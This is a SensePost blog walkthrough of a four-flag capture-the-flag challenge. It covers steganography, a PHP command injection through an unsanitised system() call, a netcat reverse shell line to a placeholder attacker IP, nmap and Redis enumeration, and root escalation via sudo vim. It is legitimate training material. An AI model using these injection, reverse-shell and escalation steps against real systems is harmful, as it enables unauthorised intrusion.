Our Blog

Hack-From-Home Challenge Walk Through

Reading time ~8 min

On the 27th of April 2020 SensePost created a CTF challenge (https://challenge.sensepost.com) for the public. The names of those who managed to capture flags would be placed in a draw for a seat on one of SensePost’s upcoming training courses.

The challenge was to grab as many of the four flags as you could. Each flag was harder to get than the previous.

Engage the brain.

The challenge started with a simple engage the brain ctf, where we needed to try guess the next page value by looking at the clues on the current page.

Challenge start page.

The URL being 1.html and the clue being 1 suggested that the next page was 2.html.

Page Two.

The second page showed the clue as TWO, however, when inspecting the element we could see another clue. The number two was written in Camel-Case.

Camel-Case three for the third page.

The third page showed the value 27 which is 3 to the power of itself, indicating that we were looking for 4 ^ 4 for the fourth step.

4 ^ 4 is equal to 256.

The fourth page appeared to be empty, however when inspecting the page there was a comment with the clue quattour. Quattour is the Latin word for four.

The fifth page was quinque (the Latin word for five).

The fifth page contained several clues. This first clue was seen when we inspected the page’s elements. A commented out reference to a secrets.txt file.

Secrets.txt file.

The clue contained in the secrets page suggested this was not the flag we were looking for but rather another clue. From here we needed to look for more clues on the quinque.php page. When inspecting the page we saw that the image title was some secrets are stored within.

Image title stating some secrets are stored within.

Using the title as a clue, as well as the fact that the image displayed confidential indicated that the image may have been the next clue. The image was therefore downloaded.

Image size.

The image was called top_secret and was suspiciously large. This suggested that it might have had some data hidden within it.

Attempting to extract data from the top_secret.jpeg image.

Using steghide and the passphrase from the previous clue (which was BbR4fZ6g) we could extract hidden data from the image. Having extracted the hidden file from the image revealed the flag.txt file.

First flag value.

Next, we were redirected to the next stage of the CTF challenge when we input the first flag into the field provided at the bottom of quinque.php.

Where are the Web Devs hiding?

Upon the completion of the first flag, we were taken to a PHP page, which displayed the content for a file called completedHHF.

completedHHF file displayed by firstflag.php.

If we were to try access the file directly we would have seen it was accessible with the extension .html. The secrets file was inaccessible when being called from firstflag.php.

CompletedHHF.html page accessed directly without the firstflag.php file.
Inaccessible secrets file.

We could therefore assume the firstflag.php file was appending .html to the end of the file it was requesting. There were several ways to achieve this flag including, arbitrary file read, uploading a webshell and remote command injection. Here we will talk through the remote command injection vulnerability which was caused by an unsanitised system call within the firstflag.php page:

$file=$_GET[‘file’] . “.html”;
system(“cat $file”);

If we wanted to obtain remote command injection, we would have needed to break out of the command sent to the system call as well as break the appendage of .html. The first semi-colon would have broken out of the PHP system call to cat the file, while the second semi-colon breaks the appendage of .html.

RCE used to list files in current directory.

The next step was to try and abuse the command injection to gain a reverse shell on the machine running the web server. URL encoding and then placing a reverse shell, such as, nc -e /bin/bash <attackerIP> 6666 in place of ls in the above image would have opened a connection with the attackerIP on port 6666.

Connection received from vulnerable web server.

Having received a connection from the application we could have enumerated the webserver to find the user we were running as. Additionally, we would have found the location of the second flag.

www-data user on the
Flag 2 in the www-data home directory.
Second flag and the hint to the location of the third flag.

flag2.txt hinted that the next flag may have been hidden within a Redis database.

Where am I? Is there anyone else out there?

In order to find the third flag we would have needed to get a lay of the land.

ifconfig to find the Websites internal IP address.
Nmap to find other severs on that same network.

Using Nmap we found a Redis server on the internal network. Either redis-cli or telnet could have been used to connect to the database.

Connecting to redis server with redis-cli.

Using built in Redis commands line tools, we could have seen whether there were any keys within the database. Using the get command we could have extracted the third key.

Finding and retrieving flag 3.
Retrieve flag three from redis DB as well as the next hint.

Its time to find the root cause.

We noticed that the application was running on an Linux machine running Ubuntu.

Application host machine.

Because we were running as www-data we could assume we didn’t have many privileges. In order to access more sensitive information on the server we would have rather wanted to be running as the root user. The root user also referred to as the superuser by default has the ability to run all commands and access files on the system.

In order for the www-data user to run a command as root (provided they were part of the “sudoers” group) they would have needed to run sudo <command> and input their password. Sudo meaning super user do, the following command.

A user can list the allowed commands which they are able to run as a superuser by using the sudo -l command. Some operating systems will require users to enter the current users password, others won’t.

www-data user can run vim as a sudo user without requiring the password for that user.

Having run sudo -l on the web server we saw that the www-data user was allowed to run vim as root. Vim is a text editor that gives one the ability to create and modify multiple forms of text. Vim can also run commands.

Command run as root telling vim to start a bash shell.

We created a bash shell with vim running as the root user.

Bash shell with vim text editor running as root.
Enumeration of host machine as root locates flag4.
Final flag.

This allowed us to enumerate the root user’s files and locate the fourth flag.

A massive congratulations to all those who finished or even attempted.

For more information on the training offered at SensePost, please see: https://sensepost.com/services/education/